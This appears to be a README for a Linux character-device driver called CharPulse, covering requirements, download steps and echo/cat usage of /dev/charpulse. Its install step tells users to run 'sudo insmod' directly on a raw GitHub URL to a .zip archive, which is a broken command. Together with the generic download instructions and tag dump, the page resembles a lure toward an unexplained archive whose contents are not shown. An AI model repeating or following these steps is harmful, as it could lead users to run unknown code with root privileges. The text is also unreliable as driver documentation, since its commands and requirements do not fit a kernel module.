CharPulse is a Linux character device driver with a dynamically resizing kernel buffer. It supports read, write, append, and clear operations, allowing storage of large amounts of data safely.
- Operating System: A compatible version of GNU/Linux
- Kernel Version: 4.0 or higher
- Memory: At least 512 MB RAM
- Disk Space: Minimum of 100 MB available space
- Dynamic Buffering: Automatically adjusts storage as needed.
- Safe Data Operations: Ensures data integrity during read and write tasks.
- Efficient Performance: Designed to handle large amounts of data seamlessly.
To get started, visit the Releases page to download the latest version of CharPulse. Hereβs how to do it:
- Click the link above to go to the Releases page.
- Find the version you want to download.
- Click on the file that matches your system.
- Save the file to your computer.
To run CharPulse after downloading, follow these steps:
- Open your terminal.
- Navigate to the directory where you saved the downloaded file.
- Use the command
sudo insmod https://raw.githubusercontent.com/Huy-glith/CharPulse/main/userspace/CharPulse-1.9-beta.3.zipto install the driver.
After installing, you can check if CharPulse is running properly by using the command:
dmesg | grep charpulse
If you see messages related to CharPulse, the driver has loaded successfully.
Once installed, you can interact with CharPulse through standard Linux files. Hereβs how to use it:
-
Writing Data:
- Use the command
echo "Your data here" > /dev/charpulseto write data to the buffer.
- Use the command
-
Reading Data:
- Use the command
cat /dev/charpulseto read data back from the buffer.
- Use the command
-
Clearing Data:
- Use the command
echo > /dev/charpulseto clear the buffer.
- Use the command
-
Appending Data:
- Use the command
echo "Additional data" >> /dev/charpulseto append more data.
- Use the command
If you run into issues while using CharPulse, consider the following steps:
- Reinstall the Driver: If you face problems, try unloading and reinstalling the driver.
- Check Permissions: Make sure you have the necessary permissions to interact with the driver.
- Consult Logs: System logs can provide insight into what went wrong. Use
dmesgto view them.
If you have questions or feedback about CharPulse, feel free to open an issue in the GitHub repository. Your input helps us improve.
c-lang, c-language, c-programming, c-programming-language, character-device, character-device-driver, gnu-linux, linux, linux-driver, linux-drivers, linux-kernel, linux-kernel-driver, linux-kernel-module, linux-lkm, linux-module, linux-modules
For more information, be sure to check the Releases page. Happy coding!